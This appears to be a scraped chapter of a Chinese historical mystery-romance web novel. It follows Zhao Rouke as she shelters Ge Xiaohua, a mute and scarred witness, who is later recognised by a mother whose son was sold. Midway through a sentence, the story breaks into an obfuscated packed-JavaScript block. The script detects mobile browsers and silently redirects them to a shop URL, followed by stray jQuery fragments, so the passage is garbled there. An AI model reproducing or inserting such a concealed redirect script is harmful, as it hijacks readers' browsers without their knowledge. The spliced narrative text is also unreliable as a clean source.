年味渐浓,家家户户门前灯笼高挂,喜气铺满整个青鸾大街。年节即将到来,赵柔柯这日散学回来终于收到了儋州寄来的信,随信一起寄来的还有一枚发簪。
赵柔柯轻轻抚摸着那发簪,发簪表面有些地方凹凸不平,尾部歪歪扭扭的做了一只蝴蝶的样子。这发簪的工艺,看起来......着实不太能入眼。
她展开信,墨香在鼻尖缭绕,周啸阑熟悉的字体映入眼帘:
“你定便好。路过一家头面铺子,店主极有巧思,到店之人不止可以亲自挑选首饰,还可亲手打制。生平第一次做女儿家首饰,做得不好,只想讨你欢心。”
赵柔柯复看那粗糙银簪,不禁莞尔,心湖荡开一圈圈涟漪。
她揉了揉踏雪圆乎乎的脑袋。踏雪舔顺被摸得乱糟糟的毛,长长的尾巴一摆从她手中溜走,一跃而下,后慢悠悠踱至门口,蹲坐下来。他望着远处,久久,发出一声长而幽怨的喵呜声。
赵柔柯看着踏雪蹲坐门口的背影,想起他刚被抱回来时因为野性难驯伤了她。周啸阑当着踏雪的面扬言要劁了它,还拎起他的脖子将它丢进笼子关了好一阵子,后来他再来这方院子,踏雪就朝他龇牙。现如今周啸阑已经近两月不见,这小东西整日守在门口,巴巴地望着远方。
赵柔柯将信连同他寄来的银簪一起仔细收好放进一只木匣子里,匣子里除了有书信还有些别的,上次周啸阑寄过来的梅花,在周府时随手编来逗她开心的草编蚱蜢,有时候下值回来随手给她带的面人儿。这匣子里的东西随着他们相识的时间,变得越发沉甸甸的。
这些玩意儿虽不值什么钱,可赵柔柯却想将这些好好收存起来。她刚将匣子合上,便听到院子里有人声传来。正要出门,翠竹迎了上来。
翠竹朝她拜了拜,遂禀报:“表小姐,程千户带着几个人过来了。”
“是哪儿的人?”
“儋州过来的。”
儋州来的,除了周啸阑就是那被护送回来的葛藤之女葛小花了。
院子里落了雪,踩上去发出咔吱的声响,赵柔柯裹上大氅,手捧着暖炉,穿过月亮门便见厅中站了几个人。见她走近了,程川身后有个人探头探脑的,是个女子。抹额让人摘下了,眉心的妆饰擦去,一枚红色的痣显露出来。是葛小花。
她从未想过见到葛小花会是这副光景。看她模样二十出头,可眼神看向他人时一副闪躲之相。程川说她一路从儋州到京师,都没怎么从马车上下来。到了此处,她躲在马车最里处,怎么也不肯从车上下来,最后还是翠竹和青叶轮番温柔哄着,才让她放下戒心,迈入院中。
翠竹和青叶想带她去客房,她的脚步走得颤颤巍巍,每走一步,就异常警惕地看向四周,直到看到赵柔柯站在她面前不远处,她才从程川背后出来,脑袋十分不自然地轻轻晃着,一点点打量着赵柔柯的脸,似乎是在透过她的脸在看另一个人,嘴里咿咿呀呀,听不出在说什么。
程川提醒:“葛小花......是个哑巴。舌头生生被割去半截,现在说不了话。”
赵柔柯艰难地点头,颠簸一路,她都能闻见对方身上一股子汗味,这一路过来护卫都是男子,怕是难以注意到这些细节,于是吩咐人烧了水,又让人将人把房间收拾出来。
小花对于其他人都很警惕,在洗澡时又喊又叫,后来还是赵柔柯亲自前去,几个人又是哄又是劝才将她衣衫褪尽,结果褪了衣衫,满身的伤痕让几个侍女呆在原地。
“怎么......怎么能伤成这样?”
赵柔柯也呆立原地,她身上的伤有好几种,有的一看就是火灼的伤痕,也有鞭痕,还有刀伤,不知是受了什么折磨。
几人一时无言,将她梳洗一番安顿好之后,赵柔柯回房已经是大半夜了。葛小花是个哑巴,这是她没有想到的。作为矿难的唯一人证,现如今口不能言,也不认字,即便能够问清楚前后经过,可这样一个人的说辞,就是到官府,也很难作为证词。她望着罗帐上的花纹,渐渐合上眼。
小花先暂时在她这方院子住了下来,奇怪的是,她对赵柔柯并没有像对其他人那般警惕,她似乎很喜欢她的靠近,有时候她愣愣地看着赵柔柯的眉眼能看好久。
这点赵柔柯一直想不通,直到有日自己对镜梳妆,看着镜中那张脸,她捂住自己下半张脸,才发现,她其实与那赵错长得十分相像。葛藤称她得到小花消息时她正和赵错在一起,也许正因为她和赵错相像,才能得到她的信任。
转眼又是大半个月过去,小花的身体在这段时间的调养下逐渐有了好转。赵柔柯也曾问过她一些关于案子的问题,她可以听懂话,只是问到关键处就狂躁不安,也不会识字写字,现如今难以提供其他线索。
这日,赵柔柯在书房看书,小花也在旁边,她大多数时间都十分安静,只呆呆地看着赵柔柯手中翻阅的书出神。赵柔柯蹙眉看向她,又看了看自己手中的书,试探着开口:“你......可想学写字?”
小花先开始是惶恐摇了摇头,后又点头。
赵柔柯轻轻叹了一口气,赵错下落不明,小花不会讲话。这段时日,小花总跟在她身边,看得出如果不是经历了这些,她也是个极为伶俐的的姑娘,也许稍加教导,待她会识字后,没准能将所经历的写下来。思及此,赵柔柯拿出一本千字文。
“我教你识字,可好?”赵柔柯小心翼翼地询问。
只见小花用力点头,灰蒙蒙的一双大眼睛中总算有了亮色。
小花对于识字写字这事似乎比所有事都更加感兴趣,经常一头扎进书房一待就是一整天。这日,胡氏担心她饿着,敲门唤她无人应,等打开门后,才发现房中空无一人。
*
京师。同兴当铺。葛小花将刚刚当掉衣物的钱揣好,走出了大门,顺着粮市街一路向西,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16515356|170764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
路口处有一家卖笔墨纸砚的铺子。铺子里的东西并不是很贵,当掉衣物的这些钱刚好可以买一只品相适中的狼毫。
她想送给一直以来悉心照顾她,教她读书识字的赵柔柯,她知道这些东西那人都不缺,只是年节将至,她实在不知该送对方什么。
店家早已等候她多时,待她将银钱递与店家,满心欢喜打道回府时,肩膀上被一个人拍了一下,她转过头来,只见一个妇人捂着嘴,满脸震惊地瞧着她。
“真的……是你?”
晚娘上街买米,回来时,瞧见一个人分外熟悉。那人化成灰都不能忘,她手有六指,眉心有痣,她的宏儿在被卖掉之前,在布衣巷只与这小姑娘相熟,是葛藤的女儿。
为何如今,她会出现在京师?宏儿的信从未断过,为何与宏儿一同消失的小花出现在了京师。
小花一边摆手,一边往后退。
晚娘的手像是一把铁钳,死死地抓住葛小花的肩膀。
“你在这里?那我的宏儿呢?我儿呢?!”
她的那些话传入小花的耳中,小花像是糟了雷击一般,生出牛一般的力气,将人一把推开,捂着耳朵就向来路跑。
跑了很久,她撑着双膝往后看,见没人追上来,这才双腿酸软地往赵柔柯的那方院子挪。等到终于来到了院门口,见门口上一惊燃起了红红的灯笼,她才将汗水用衣袖擦拭干净,又将衣衫整理了一番,这才跨进院门。
赵柔柯与陆心棠几个出去找了一番,也没将人找见人,小花的身份又不敢大肆搜寻。正准备回家再做商议,就看见院门口一人抱着双膝冻得瑟瑟发抖,衣衫是初见时穿得那一身,见到她们几个回来,这才站起身来,眼眶像是有泪要落不落的。
赵柔柯见她嘴唇都白了,赶紧把狐皮斗篷罩在她单薄的身上,语气又气又急。
“你去哪了?知不知道大家都在找你?”
小花摇头,要把斗篷取下来,向着赵柔柯打手势。
几人一同回到热烘烘的厅中,赵柔柯权当她是在这院子里憋得太闷了,没有忍心责怪她,忙活一天,吃了热饭,这事就算翻篇了。
日子一天天过去,天气越发冷了。这日书院学堂倒是热闹,人人都在传一桩新鲜事儿。说是布衣巷有一户人家,自行投案,说在十年前卖了自己的儿子,如今又想要见自己的儿一面子,便把买家告了,可是买家是谁,对方又说不清楚,自己卖儿的罪名倒是坐得实实得,夫妇二人都关进了大牢。
“你说说,生活困苦时,你卖儿养家。如今年纪上来了,你又想要儿孙绕膝之乐。世上哪有这么便宜的事。”
赵柔柯翻阅书卷,眸光沉沉。程川早将案情交代过,王武与晚娘的确在北镇抚司的诏狱承认了卖儿一事,只是当时为了钓出背后之人,便将人放了。如今这两人为何主动向官府投案呢?罢了,卖儿卖女这种丧尽天良的事,当真不值得同情。